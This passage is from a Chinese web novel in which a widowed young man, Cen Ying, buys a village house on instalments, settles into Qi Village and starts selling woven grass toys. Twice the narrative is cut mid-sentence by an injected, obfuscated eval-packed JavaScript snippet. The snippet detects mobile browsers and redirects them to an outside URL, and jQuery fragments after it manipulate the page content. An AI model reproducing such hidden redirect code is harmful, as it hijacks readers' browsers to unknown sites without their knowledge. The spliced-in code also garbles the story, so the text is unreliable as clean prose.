“这样若是这样完了也就罢了,谁知半个月后在县城中那人被一娘子撕扯着扔到街上,大家这才知道那女子与人做了外室。” “后来官老爷一审,才知道那女子同那男子本就认识,二人曾私定终身。后来这男子为钱所迷,抛弃了那女子,那女子心灰意冷就嫁与了齐明。” “不知怎么回事,两人又勾搭上了,这黑心肝的就给齐明郎君下毒!”刘婶子性子直爽,素日里最讨厌这些小人行径。 “下毒?”岑应有些惊讶,就算没有感情,但这下手也未免狠了些。 刘婶子点点头,“可不是,所以齐明小子的身体才越来越差,这女子也不知道想什么,抛下两个乖巧懂事的孩子去做人外室就算了,日子真过不下去,她好好说,齐明小子也不会纠缠,偏要做这些孽。” “二人被关了半年后放了出来,被那娘子家中人狠狠打了一顿赶出了进宝县,你是没看到那男的,脸都肿成猪头了,走路也一瘸一拐的。”刘婶子想起那些伤来,只怕没几个月都好不了。 岑应唏嘘不已,没想到梁阿婆家还有这样的往事。 两人跳过这个话题,路上有一句没一句地聊着,很快就到了县城。岑应正要掏钱,却被告知梁阿婆已经给过今日的了。 岑应同二人告别,就先去送昨日预订的甜青团,再依照昨日那般,上午去街市里摆摊,下午走街串巷。第二日再前往梁阿婆家结钱拿东西,然后坐刘婶子的车到县中。 有人预订,但数量都不算大,完全能从做好的青团里扣除。岑应就这样卖着青团,时不时收些村子里的干菌子贩卖,一个月后终于攒下了一两银子,加上他之前从安山村带来的扣去吃喝住的花销,总共攒下二两八钱又八文。 岑应预备着找个住处,除开一直住在客栈是一笔不小的开销外,客栈里每天人来人往的,不是很方便。 况且岑应也一直想要有个属于自己的家,哪怕是租的也比客栈好。 这边齐家村,秦家。 秦松柳躺了一个月,终于能下地了,虽然腿上的伤还没落痂,但不影响日常生活。 秦松柳受了伤,又在床上躺了一个月,天天喝药嘴里都是苦的,也吃不下什么东西。一个月下来人不仅瘦了,身上的肌肉也小了,皮肤也闷得白了。 秦松柳在水盆里看着自己现在的样子,觉得自己没以前好看。 11. 买房子 岑应到客栈将东西安置好,向掌柜的打听县中哪里有靠谱的牙郎或牙嫂,他好去打听房子的事。 “夫郎是想要租房子?”掌柜有些惊讶,“有个牙嫂姓陈,行事公道,就住这条街上,你出门右转一直在走,从酒铺子旁边的小巷拐进去第三家就是。” 岑应住在这一个月,时不时送他们青团吃,同他们客栈的人都混得很熟。掌柜想了想提醒他,“虽说陈牙嫂为人公道,但县城中房价虚高,只怕夫郎难寻到心仪的房子。” 岑应谢过掌柜,“多谢掌柜提醒,我去打听打听好让心里有个底。” 其实岑应觉得自己不一定非得住在县中,住到村里也是可以的,能到齐家村去更好。只是齐家村这种有大姓家族的村子,村里人多排外。 岑应按掌柜说地找到了陈牙嫂家,敲了敲门,好一会一个约莫三十岁的妇人来开了门,穿得素净,头上戴了个银簪子。 “可是陈牙嫂?” “正是,进来说话罢。”陈牙嫂将岑应请到院子里坐下,倒了杯茶水。 院子里种着一棵柿子树,树下摆放着一套石桌,是陈牙嫂待客用的。院子东南处打了一口井,旁边的簸箕里晒着干果和辣椒,院子虽不大但很温馨。 岑应羡慕着,不知道自己什么时候也能有这样的院子。 “夫郎是要租赁房子,还是采买奴仆。”陈牙嫂也不多闲话,来找她的人多半是为了这两件事。 当朝牙郎牙嫂统称牙人,在官府登记在册后便可做生意,大多是做房子租赁、奴仆买卖这方面的中间人,也有代售珍宝的牙人,不过并不多。 “今日上婶子门来,是想问问婶子手中可有适合的房子。”茶是山里采的野茶,入口先涩后苦,咽下去喉咙里有阵阵回甘,岑应还挺喜欢这种感觉的。 陈牙嫂扶了扶头上的簪子,“手上是有几套房子,要租要买都可,屋主人要的价格也公道。”陈牙嫂言毕看了看岑应,话锋一转。“不过现下我不建议夫郎到县中找房子,如今县中的房子无论是卖还是租,都在涨价。” “婶子怎知我不适合在县中租房子。”岑应没想到他还没有开口,陈牙嫂就开起了这个头。 陈牙嫂啜了口茶,“我在县中也偶得见过夫郎几次,看夫郎的样子是做小本生意的。” 陈牙嫂领人看房时,远远见过岑应几次。岑应生得白净,标准的杏眼小嘴巴,睫毛纤长,圆脸尖下巴,鼻尖上一颗小痣,很有特点。 “原是如此,那我也不同婶子打哑谜了,虽然我不清楚县中房价如何,但想来也是我负担不起的,此次是想问问婶子知不知道县城附近的乡下有没有人出租房子。” “我如此建议夫郎自是有的,有一对老夫妇打算去投奔在外地的儿子,以后不再回来,便想将在河岭村的房子卖掉。” “房子我去看了,一个院子两间房,厨房建在院子里。整个房子旧是旧了些,但当初盖房子的时候用的都是好材料,房子里的家具夫妇二人也打算留给买主,且还有一亩田” 岑应有些心动,如果真是同陈牙嫂说的一样,那这房子当真是不错。“不知这房子是在何处。” “离这不算远的齐家村。” 岑应更心动了。 陈牙嫂瞄了岑应一眼,不紧不慢开口道。“夫郎先听我说完,房子是好,可卖主也提了条件,只卖,且一次性付清十八两银子。” 岑应心碎了。 “不知婶子这还有别的房子吗,这个我现下还买不起。”岑应有些不好意思,再喜欢那房子现在自己手上没有钱也是事实。 陈牙嫂说了几个地方,每处每月租金都比住客栈贵,岑应对进宝县的房价有了新的认识。 同陈牙嫂处离开后,岑应又跑了几个牙人处,结果并不尽人意。 要么是没有合适的地方,要么是觉得他身上捞不着什么油水,要么就是见都没见到这个牙人。 岑应回到运来客栈瘫在床上,脑子里想的是陈牙嫂口中的那处房子,越想越觉得哪哪都好。可自己没有钱,人家也急着搬走。岑应觉得自己赚钱的速度还是太慢,赚的钱也少。 岑应在床上翻来翻去、翻来翻去,翻得头发都散乱了,随后猛地坐起身,打算明日去拜访老夫妇,看看能不能按月支付房钱。 机会是自己争取来的,房子也是,就算被拒绝好歹自己也努力过。 决定好的岑应整理好头发,打算出门买些东西好明日上门。 岑应同老人相处得不算多,也没什么人教过他人情往来,且自己的要求多少有些无理,二老与自己非亲非故的凭什么答应他,因此在街上逛了好一会还是不知道买些什么。 岑应慢慢想着,夫妇俩将房子起得那样好,想必在齐家村生活了许久,这次要将房子卖了去投奔儿子,应该要去很远的地方。 这样想着岑应到点心铺子买了一些酸甜的果脯,再买了六块松软的牛乳糕,又从挑着野茶来卖的老伯那买了一包醒神的薄荷茶。 果脯、薄荷茶是给二老路上用的,牛乳糕松软香甜,很适合老人食用,明日再从梁阿婆家拿几个青团,这样子上门应当不算太失礼。 做好了决定也准备好了东西,岑应也不再纠结这件事。要是成了自是欢喜,要是不成继续住着客栈再慢慢攒钱找房子。 第二日岑应穿戴整齐对着水盆,看自己有没有不齐整的地方。 看着自己身上颜色灰灰又旧旧的衣服,总觉得自己穿得很破旧,但没办法从徐家带出来的衣服都是这般,是王四娘去娘家捡回来给他的,他现下也没有闲钱买新衣服。 整理好仪容,岑应带着东西往齐家村去了,今日出发得比平时早,到梁阿婆家时阿婆还在蒸青团。 “今日怎来这般早?”梁阿婆正纳闷谁这会来敲门,一开门没想到是岑应。 岑应将房子的事情同梁阿婆说了,梁阿婆点头。 “他们夫妇二人算是和善,我夫君在世时也同他们家汉子一同做过工,我同你去,他们晓得你同我家认识,说不定对你更放心些。”梁阿婆将灶膛里的柴抽出来几根,青团快蒸好了,不需要那么大火。 岑应点头,他又欠阿婆一个人情。 待青团蒸好,岑应拿上几个就同梁阿婆向夫妇二人的住处走去。 来到夫妇二人住处,梁阿婆敲了敲门,“兰花,兰花在家吗?” 兰花阿婆此时和自家老汉正在清点要带走的行李,从儿子说要带他们走时,俩老早早就收拾好行李,日日都清点一遍。 “来了!”兰花阿婆高声应和。 老汉有些耳背扯着嗓子问兰花阿婆,“谁啊!” 兰花阿婆冲他耳边喊,“听声音是巧娟!我去看看!” 女子到了做阿婆的年纪,旁人都是阿婆阿婆的叫,只有她们同辈的姐妹还记得叫对方的名字。 兰花阿婆打开门,见梁阿婆旁边站了一个陌生夫郎。“巧娟这是?” “兰花,这是岑应,岑夫郎。你家大郎不是要接你们享福去了吗,岑夫郎看上了你家房子,恰巧我同他认识,就领他来你家问问。” “噢,这样啊,进来说话,进来说话。”兰花阿婆将人请进门,看岑应手上不少东西,便知道岑应带着目的而来。 老汉见陌生人进来,拉着声音问谁啊,兰花阿婆扯着嗓子同他说了一遍。 “噢噢,坐下,坐下,我去泡茶。”说完老汉慢悠悠转身去厨房烧水。 岑应将手上的东西递给兰花阿婆,“一点薄礼,请阿婆不要嫌弃。” “来就来了,还带什么东西。”兰花阿婆虽这样说着,但还是将东西收下了,不然岑应接下来便不好开口说事。 “昨日我在陈牙嫂处听到了阿婆家要卖掉这房子,当时听陈牙嫂说起时就觉得喜欢,刚刚进屋看到这房子真是处处都好,觉得陈牙嫂一点都没说错。”岑应为来意铺垫着话。 不管岑应来此是何目的,但好话谁都爱听。“是咧,别看我夫君如今这样,当年建房子可是一把好手,这房子当初就是他一点点搭建出来的。”梁阿婆笑盈盈,接着岑应的话往下说。 “那阿伯真是了不起。”岑应见兰花阿婆肯同自己寒暄,心下微定。 “嗐,要不是要去投奔我家大郎,我是真舍不下这儿,只期望后头的屋主能好好爱护我这房子。”兰花阿婆话里有话。 岑应知道是时候说出来意,“阿婆你看,这房子我是真的喜欢,只是手头还不宽裕,想问问阿婆能不能按月将钱款汇给你,我愿意让些价,给阿婆二十两银子。” 兰花阿婆并未言语,脸上浮现为难之色。 岑应再道,“阿婆放心钱款我会每月按时差信差送去,这钱我也出了。” 梁阿婆也挺岑应帮腔,“是啊兰花,岑夫郎此人还是信得过的。” “巧娟,你肯将人带来,说明人是值得信的,只是此事我得同我夫君商量,现下还不能给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234057|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑夫郎答案。”兰花阿婆并未将话说死。 岑应点头,“那阿婆同阿伯好好商量,我就先告辞了。” 兰花阿婆送走梁阿婆和岑应后,老汉才提着一壶茶慢悠悠从厨房里出来,见人不见了还拉着声音问,兰花阿婆没好气地白了他一眼。 这边岑应从兰花阿婆家出来,便打算去看看秦松柳,之前去看过他两次,知道他得休养一个月,算算时间差不多是现在能下地。 到了秦家敲门却不见人应,这时柯姐儿拉着秦芳跑出来打算去跳花绳,看到岑应后停了下来。 “这是?”岑应第一次见柯姐儿。 “我叫齐柯,你是谁?”柯姐儿有些好奇,她在村子里从来没见过这个人。 “我是秦郎君的朋友,秦郎君怎不在家。”岑应平时摸孩子头的手有些痒痒,但他忍着没动。 柯姐儿看了看旁边的秦芳,见秦芳点头才同岑应说,“大柳哥哥上山打猎了。” “原来是这样,那你们可知秦郎君何时下山。”岑应还是没忍住自己的手,一人摸了一把。 柯姐同秦芳并不躲,柯姐是不抗拒同人接触,爱交朋友,秦芳就不知道是为何了。 柯姐儿摇了摇头表示自己不知道,岑应就不再耽搁时间,同二人告别就赶去忙拿东西准备去县中。 其实秦松柳在梁阿婆家门口转悠过几次,也往县城去过,但他对岑应每日什么时辰在哪并不知晓,因此一直没碰到人。转悠几天后都没碰到人,秦松柳便收拾家伙上山打猎去了。 又过了三天,岑应发现县城中已经有两家人卖青团了。又过了两日,他一天已经卖不出去七十个了。 岑应将没卖完的青团分给进宝县中年龄较小的乞丐,打算今日就去齐家村,告诉梁阿婆要减量了。 岑应将事情告诉梁阿婆,梁阿婆也愁,大宁看她们愁,也跟着愁,小莲不懂这是在干什么,但也跟着哥哥皱着眉头,四个人就愁愁地坐在院子里。 兰花阿婆来时看到的就是这幅景象。 “这是怎么了?”兰花阿婆见这样,还以为她们家发生了什么事。 这一声一下子惊动了院子里的四个人。 “阿婆怎么来了!”岑应有些激动,难道兰花阿婆答应让他分月付房钱了? 事情正如岑应所想,从他那日离开兰花阿婆家已经过去五日了,期间并没有其他买主上门,再过两日她们就要出发平阳县了,这两日有买主上门的可能性不大,但若将房子空置着又心疼。 与其等房子放坏或以后跨着两个县谈卖房子的事,不如卖给岑应。 这个好消息一下子冲淡了岑应今日的愁绪,“多谢阿婆,多谢阿婆,我一定会好好爱护这个房子的每一寸、每一尺。” 梁阿婆由衷为岑应高兴,以后能多多在村子里见面了。 兰花阿婆告诉明日同岑应去往县中办手续后就离开了,岑应还留在原地开心得不行。 但再开心也没忘了正事。 “阿婆。明日先不做青团。”明日要去县中办手续,还不知道要多久。 “后日的话……四十个青团就好。二十个笋子馅的、十五个素的、五个甜的。”从上次给举子做那五十个甜青团后,岑应也会做一些甜的青团拿去镇上卖。 梁阿婆点头,这一下减那么多,说明青团生意已经很不好做了。“那夫郎有什么打算?” 岑应其实心里还是有些底的,“我以后就住在村里了,村里靠山,之前大宁小莲能捡那么多菌子拿去卖钱,我不仅能捡菌子还能捡些其他的,想必也能有进项。” 岑应想,之前在安山村那么难,他都能靠着那座山攒下一笔钱。那么现下在齐家村,他有自己的房子,还有待他好的梁阿婆、大宁、小莲,又有秦郎君做朋友,日子还能比在安山村不好过不成。 天色不早,岑应也就没多待,紧赶慢赶回县城去。 岑应回到客栈将东西收拾好,在进宝县待了一个月多,他也没买什么东西,还是那几件衣服,就多了一个竹篮、一块垫布和一把没用完的细麻绳。 将东西规整到一起,岑应调整心情打算入睡。 静了好一会,打更的声音由远及近又远去,夜市散去。有个醉汉步伐趔趔趄趄,嘴里骂骂咧咧往家里去。岑应双手交叉放在肚子上,面容恬静。 又过了一会,街上一点声音都听不到了,床上的岑应呼出一口气睁开眼。 不行,睡不着。 12. 定居齐家村 第二日,岑应顶着两个黑黑的眼圈赶往齐家村。 去到时兰花阿婆还没有来,他便一直在院子里走来走去。梁阿婆劝他坐会,他也不坐。 等了好一会,兰花阿婆她们和刘婶子竟是同时到了。院门没关,岑应余光瞥到有人来,也没看清就跑去开门,见几人同时到了心中更喜。 若是兰花阿婆她们晚到,岑应也不好让刘婶子等她们,毕竟食铺等着要菜开张。可不坐车总不好叫兰花阿婆同他走着去。 刘婶子听岑应买了兰花阿婆房子很替他高兴。 以前岑应不坐她家车时,刘婶子同她儿子一路上都说不了几句话。齐大山像他爹,沉默寡言,只管埋头做事,往食铺送菜的事还是刘婶子谈下来的。 而在村子里,刘婶子同一些人又聊不下去。她是话多的,憋得慌了好不容易逮到一个能和她说话的就可劲说,经常到了县城刘婶子还没说完。 岑应呢,无论刘婶子说什么他都听着,时不时发表些自己的意见。刘婶子说的都是家常话,比如菜几钱、收成如何、城里哪儿能买到价便又好的东西、村里哪个孩子又闯祸了……岑应还挺喜欢听的。 就这样,一个月下来两人越聊越愉快。 不多耽搁,五人往县城出发。齐大山在前面赶着车,三人在后头说说笑笑,时不时伴着老汉啊、啊的声音。 到了县城,岑应同刘婶子问齐大山能不能等会,晚些好送兰花阿婆她们回去。刘婶子应了,并告诉她们不着急,事情办完再说。 岑应从荷包里摸出来六枚铜板递给刘婶子,刘婶子忙推回去。 “使不得使不得,横竖家中也没什么事,就让大山等着就是。以后就是要做乡亲的人,夫郎到时多来找我说话就是。” 岑应没勉强,收好铜板,带着兰花阿婆她们去寻陈牙嫂,请她做中间人。 陈牙嫂听兰花阿婆按月收取岑应房钱,很快就起草好了一份契书。岑应被李阿婆带去家玩时同李老汉识过一些字,能将契约看懂大半。 起好了契约,陈牙嫂便带着二人前去衙门。 按理说来办理手续的百姓连着几日见不到胥吏都是常有的事,但陈牙嫂有些关系,几人很快就见到了负责土地管理的胥吏。 这也是为什么百姓买卖房子、采买奴仆都找牙人的原因之一。 胥吏当着几人的面宣读了一遍契书:岑氏应,予齐忠、齐杨氏夫妇二两银子,并往后每月往身处中阳县的夫妇二人汇去一两半银,直至岑氏还清仍欠的十八两房钱,期间所需汇钱由岑氏负责。 三人没有异议,摁了手印。 岑应将二两银子当着胥吏的面交给夫妇二人后,胥吏要为他们二人开证明,问岑应是哪里人。 这下把岑应问得有些愣了,他没考虑过户籍的问题。“我不是进宝县中人,本想来投奔亲戚,不曾想亲戚已经搬走,如今我再无其他亲人,可否落户进宝县。” 胥吏思考了片刻,看在人是陈牙嫂带来的份上,又看岑应不像大奸大恶之人,岐州通缉录中也没见过,就答应了。胥吏给他们写了房屋、土地转让证明,摁上官印,一边给了一份。 “此契书由官府收录,同样的证明两边各一份,日后若是有什么问题凭证明到官府来。”胥吏按例同几人将话说清楚,又额外给岑应开了一幅户籍证明,写明是进宝县齐家村人。 几人谢过胥吏,便不再多待。 按例要给陈牙嫂二两理事钱,但陈牙嫂觉得自己也就今天跑了这一趟,就各收了二钱银。 同陈牙嫂告别后,岑应送两位老人去找齐大山,看着她们上了车往齐家村去才离开。 明日兰花阿婆夫妇就要离开,岑应得去采买一些生活必需品,现下身上就剩六钱银子,得挑必须的东西买。 虽然花了很多钱,又背了债,但岑应觉得心里像有了底、赚钱的动力更足。 岑应哼着记忆里那首有些模糊的歌,步履轻快地往街市去。 春末近夏的,岑应打算买张草席和薄被先应付一下。 岑应寻着自己记忆里卖草席的阿伯,这是同别人闲话时得知的,如今来看确实很不错。 草席柔韧,编得很结实,上面也没有什么毛刺,岑应买了一张十文钱。 岑应同阿伯说好过会回来拿席子,转身往布庄去。 岑应到布庄说明来意,布庄里看店的夫郎拿出几张薄被子。 岑应上手摸了摸,觉得质量是不错的,到时睡觉多穿点这被子能盖到初秋。 岑应看中一张素色的被子,但面上不显,“多少钱?” “这被子里缝了些好棉花,七十文钱是要的。”布庄夫郎将被子翻个面给岑应看。 “六十文可行?”岑应杀了十文价。 “这可不行,夫郎你看我这被子那么好,要你七十文不贵的。”布庄夫郎面色为难,好像六十文对他来说确实赚不到钱。 “七十文也不是不行,夫郎同我加双布鞋。”岑应走了那么多路,鞋底有些磨薄了。 “我家中缺张被子缺双鞋,我哪也没去就往夫郎这布庄来的,夫郎少要我些,日后我做衣服就来夫郎这。” 一双布鞋八文钱,布庄夫郎想了想同意了。 岑应付了钱,抱着被子欢欢喜喜地去拿席子回运来客栈。 掌柜的见他又是拿席子又是拿被子,摸着招财肚哈哈笑,“看来夫郎是找到好房子了。” 岑应点头,说多谢掌柜这些日子的照顾。 “夫郎往后要是想下馆子的话可要来我们运来客栈,到时给夫郎多送两个菜。”掌柜并不白吃岑应的青团,也给岑应送过一两次菜。 “这可是掌柜说的啊。”运来客栈的菜味道很好,岑应还是很喜欢的。 回到房间,岑应用细麻绳将被子卷在席子里面捆起来,好明日拿着去齐家村。 确认东西都收拾好,岑应躺在床上想着接下来的事情。 除去每月要赚给兰花阿婆家的一两半银,岑应还得为接下来过秋、过冬做准备。到时不仅要做新的厚衣服、厚被子,还得囤粮囤柴。 县中除房价糖价外,其他的物价并不算贵,因此岑应现在开始做准备也算来得及。 岑应打算做一身秋衣一身冬衣,和一双厚实的鞋子,再自己扯棉花买布做一床厚被子。衣服鞋子预计二百文,厚棉被预计五百文,加上生活所需支出…… 岑应深秋前每月至少要赚二两银子。 岑应叹了口气,青团生意尚可时他一月都赚不到二两银子,一个月也就一两多点。 县城赚钱快花钱也快,好在明日就能住到齐家村,齐家村有山,能进山去找找药材。 岑应打算拿半日去找药材,再拿半日来县中卖青团。 想着想着,岑应睡了过去,直到一声鸡鸣才将人惊醒。 岑应揉揉眼睛没有多赖床,起身洗漱拿着行李就往齐家村去了。 等岑应紧赶慢赶到齐家村时,兰花阿婆她们已经离开了,房屋钥匙是梁阿婆代为转交的。 岑应有些遗憾没能和兰花阿婆她们告别。 接过钥匙打开门,岑应跨步进去。 以后这个地方就属于自己了! 岑应有些激动,跟得知兰花阿婆答应他按月付钱,和到衙门画押时的激动不同。 这是一棵将自己连根拔起的野草,在流浪多日后再次向下扎根的感觉。 大宁小莲在屋子里跑来跑去,他们不是没来过兰花阿婆家,只是第一次看到如此空的房子,觉得有些好玩。 梁阿婆捞住两个皮孩子,将空间留给岑应。 岑应像个好奇的孩子,这里转一转,那里转一转。一会坐坐那张空床,一会坐坐那张木椅。 兰花阿婆留下了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234058|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张床、一套木桌椅、几个碗、一个陶锅、几个碗跟一个大木箱子。 岑应打开大木箱子,发现里面有块布,虽然颜色不鲜亮,但很大一块,能缝一床被子了。 岑应很惊喜,没想到兰花阿婆给他留下来那么东西,心中感动不已。 可岑应不知道的是,这些都是兰花阿婆怜惜他孤身一人,特意给他留下来的。 兰花阿婆临走前将房子打扫得很干净,岑应发现自己没什么地方要打扫的就把自己不多的东西放置好,在这座小房子内逛起来。 像是在寻宝一样,岑应看哪哪都觉得有意思。 这边岑应还在房子里埋头摸索,不知齐家村内对他议论纷纷,几乎每户人家都在讨论这个外乡寡夫郎。 有人不屑,“一个寡夫郎买个房子做甚,后头再嫁还不是便宜了男人。” 有人排斥,“凭什么一个外乡人就这么到齐家村来。” 有人惊奇,“一个寡夫郎居然也能买下房子来。” 有人思虑,“不知道这个外乡人好不好相与。” 但无论外人如何,都影响不了岑应。 在梁阿婆家用过午饭,岑应由两个孩子带着去熟悉熟悉村子,他初来乍到,对这个村子的了解不如两个孩子。 大宁同小莲能出门玩,可开心了,特别是大宁疯了一样往前冲,跑出去好一段发现妹妹和岑应没跟上来就停在原地,等两人走近了又开始往前冲,岑应作势去追,大宁就跑得更快了。 岑应同两个孩子嘻嘻哈哈,好不快乐,突然一个不和谐的声音插了进来。 “诶哟,夫郎同齐明小子家的两个孩子关系还真是好啊。” 严格说来这句话也没什么问题,就是那人语气阴阳怪气的。岑应循声望去,发现是个矮小的夫郎。 今日才到齐家村不能与人起龃龉,况且也是自己疏忽了,跟孩子在路上就玩闹起来。 岑应脸上挂起做生意时最常用的笑,“梁阿婆待我如亲哥儿,我自然也待她的孙儿好。如今我们还有事,就不同夫郎多聊了,夫郎有空上我那去坐坐。”说完也不等人回应,岑应拉着两个孩子就走。 “装什么装,不就是想嫁进去与人做续弦。”那夫郎啐了一口,觉得岑应现在是在讨好两个孩子好嫁进梁阿婆家。 岑应若是知道他的想法,只怕会敲这人脑门看看是不是木头做的。 这边大宁似乎感觉到了刚刚的恶意,也不跑不跳了,安安静静拉着妹妹走。 岑应察觉到了孩子的情绪,从路边扯了几根草,悄悄折成了两只小兔子。 岑应将两个草编小兔子握在手里,从两个孩子身后揽住她们,将手摊开。 “大宁小莲,看看这是什么?” “哇!小兔子!”小莲还是第一次见这样的小兔子,小心翼翼将草编兔子拢在手心里。 大宁的反应没有小莲的大,但看他的表情还是能看出来他喜欢这个草编兔子的。 这草编的收益还是老货郎穿给岑娘子,岑娘子再教给岑应的。岑娘子去世后,岑应经常编草编。一是想念他娘,二就是打发时间。 这么多年过去,虽然对岑娘子教的东西已经记不清了,但岑应也琢磨出了一套属于他自己的草编手法。 来到进宝县这段时间岑应很久没有编过了,刚刚上手还有些觉得手生。 岑应看两个孩子拿着小兔子玩了好一会,突然发现自己是不是也能编些草编到县城中卖? 岑应觉得这个生意可行,毕竟自己不仅会编各种小动物,再在里头编一只鸟儿,编得精巧些,或许会有人买呢? 这样想着岑应问大宁,“大宁,可有棕榈树,就是用来做蓑衣的树” 棕榈树的叶子很适合用来做草编,且叶柄下延部分还能做药用。 大宁点头,将小兔子好好收起来,领着岑应去找棕榈树。 13. 齐小河 此时,河边有几个人在浆洗衣服。 其中一个浆洗衣服的哥儿抬手戳了戳一旁的同伴。 “你知道最近来的那个外乡人吗,那个就是买了兰花阿婆房子的那个寡夫郎。” 齐小河声音闷闷,“知道。” “诶,听说他还自己做生意,你说他一个人怎么能一下子干那么多事呢。”那哥儿自顾自说。 “我觉得挺好的。”齐小河拎起洗好的衣服一拧,水如珠一般往下落。 “这有甚好,还不如找个郎君再嫁,我看他也不丑……” “我洗好了先走了。”齐小河最怕别人提起成亲之类的话题。 “诶,怎那么快,齐小河你等等我啊!” 齐小河拿着洗好的衣服往回走,他是真的觉得岑应如今这样很好,也真的很不喜欢别人在他面前提嫁人的事。 齐小河生得高大不够白皙,又从小打理田地,故身板壮实。他从快十六岁的时候说亲,说到如今十七了,还未说成,大多人觉得他长得像个汉子似的。 家中父母倒还愿意帮衬着这个小哥儿,毕竟之前伺候田地,齐小河没少出力。可自从前两年他嫂子进门后,就没少挤兑齐小河,觉得他是个吃白饭。于是齐小河话越来越少,活越干越多。 齐小河越走越慢,不是很想回去面对家里人目光,无论是善意还是恶意的。 要是他也能像岑夫郎一样就好了。 岑应在大宁的带领下来到山脚下,上山的小径左边种着一排棕榈树。岑应摘了两片大叶子给孩子玩,就慢慢挑选起那些叶子比较适合做草编。 挑选好目标,岑应小心翼翼地将叶子带着叶柄剥离开后,平整放在地上。 剥了五张叶子后岑应就带着大宁小莲回去了,他还得去县里卖青团。 岑应像往常一样游走在县城中,没想到才走一会就遇到了另一家卖青团的人。 那人是个三十多岁的汉子,不算高大,整个人很干瘪。那人没想到会遇到岑应,尴尬地冲岑应笑了笑。 岑应冲他点点头,尽量表现得和善。两人擦身而过,岑应往前走,后边几乎不来这了。 回到齐家村,叮嘱了梁阿婆再减十个青团的量,岑应才回到家中。 青团生意一跌就跌得那么厉害,岑应在到天都快黑了才全部卖光,他自己还吃了两个呢。好在有些客人认得他,买也会专门找他买。 岑应没时间感叹,拿起今天去摘回来的棕榈叶打理起来,将能药用部分割下来,摊在布上晾晒在院子中,才开始做草编。 岑应坐在院子中,依着月光、听着蝉鸣,手指灵活翻飞,依着自己脑海里的模样,编制出一个个活灵活现的草编。 有蝴蝶、蜻蜓、小鸟这些造型松快的,巴掌那么大。也有果子形状、垫子这些厚实的。岑应还编了几朵花,不过是什么花不太能看出来,为了能编得结实些岑应舍去了些造型,但好在足够生动、漂亮。 鸟笼子岑应编了一小半,天色已经不算早了,岑应洗漱了一番,沾了床就睡。 草编要赶人多的地方卖,岑应起了个早到梁阿婆家去吃了早饭,拿着青团照例跟刘婶子去县中。临走前岑应将一个草编蝴蝶、一个草编蜻蜓给了大宁小莲,两个孩子一大早就开心坏了。 到了车上,岑应又拿出一个草编垫子给刘婶子。垫子昨夜岑应编了六个,只比一个碗大些。 刘婶子将垫子拿到手,捏了捏。“这啥垫子,恁小。” “昨夜我有些赶时间,编得有些小了。”岑应拿起了另一个在手里折了折。“虽然小但很结实的,婶子可以拿来垫碗或者是盖东西。” “呀,你编的呀,手真巧!”刘婶子没想到岑应还有这样的手艺。 “是咧,以前自己瞎琢磨的,这不昨日编了些打算拿到县城中去卖。”岑应将装着草编的筐子打开给刘婶子看。 刘婶子一看,觉得好看得不得了,“真好啊这些东西,岑夫郎手真是巧。”虽然那些蝴蝶什么的很精巧,但刘婶子还是更喜欢这个垫子,实用。 岑应看刘婶子这样子,对自己做的草编更有信心了,一路上和刘婶子说说笑笑往县城中去。 到了县城,岑应照例往西街市去,正走在路上呢,突然被人从背后撞了一下。 “哼。”是之前同岑应争执的高颧骨妇人,妇人斜了岑应一眼,从他身边走去。 岑应懒得同她纠缠,浪费时间。 付好摊位费,岑应将东西摆放好。“看看咧!看看咧!精巧的草编,两文钱一个了!” 半个时辰过去了,买到人还没有看的人多,倒是青团陆陆续续卖出去好几个。 岑应纳闷,难道草编生意行不通?好在他编得不算多,要是行不通就得找别的法子赚钱了。 正招揽着客人呢,岑应感觉脚下一沉,低头一看小乐不知道什么时候坐在了他脚上。 岑应将小乐抱起来掂了掂,又重了“出来玩呀,小乐喜不喜欢小蝴蝶。”岑应拿了一个草编蝴蝶给小乐,小乐不去看,指着下边的蜻蜓。 看小乐喜欢蜻蜓,岑应将蝴蝶换成了蜻蜓,拿在手上逗小乐。小乐双手抓呀抓,就是抓不到蜻蜓,于是身子一扭,抱住了岑应的脑袋。 岑应哭笑不得,将小乐放下来把蜻蜓给他,让他去找伙伴玩,小乐不动,站在岑应摊子里玩蜻蜓。岑应见他不乱跑,就由着他去了。 小乐将蜻蜓拿在手上,一会挥动小手让蜻蜓飞,一会又将蜻蜓放在地上同它说话,自己玩得不亦说乎,小伙伴来找他,他就带着小伙伴一起玩,于是街上就能看到四个孩子聚在一起,好似在玩什么。 只是蜻蜓只有一个,人却有四个,每一个人都想玩,你不让我,我不让你。眼看这群小伙伴就要吵起来,岑应拿了一个草编小鸟给他们。“换着玩,一人玩一会。” 孩子们被小鸟吸引到了,很快你一会我一会地玩起来,只有小乐专心地玩他的蜻蜓。 孩子娇憨,玩乐中脸上笑容洋溢。没轮到他玩的孩子睁着一双圆溜溜的眼睛直看着,让人看了心里软软的。 有路过的夫郎、娘子想到自己家里的孩子,就也想来买个带回家去。 岑应编的不算多,就每样各五个,他又送出去几个,没一会就卖完了,只剩下草编果子、花和垫子。没买到的娘子问明天还有吗,岑应忙应下,说明天还会有的。 又过一会,果子也卖出去了一个,买的阿婆说她家小孙子调皮,玩东西不爱惜,这草编果子结实,还能多玩一阵子。家里孩子调皮的人家听他这么说,一想好像也是,就不去要什么蝴蝶蜻蜓了,转而要这果子。 草编小花则被一个哥儿全买了去,说是拿回去放到卧房里作装饰。 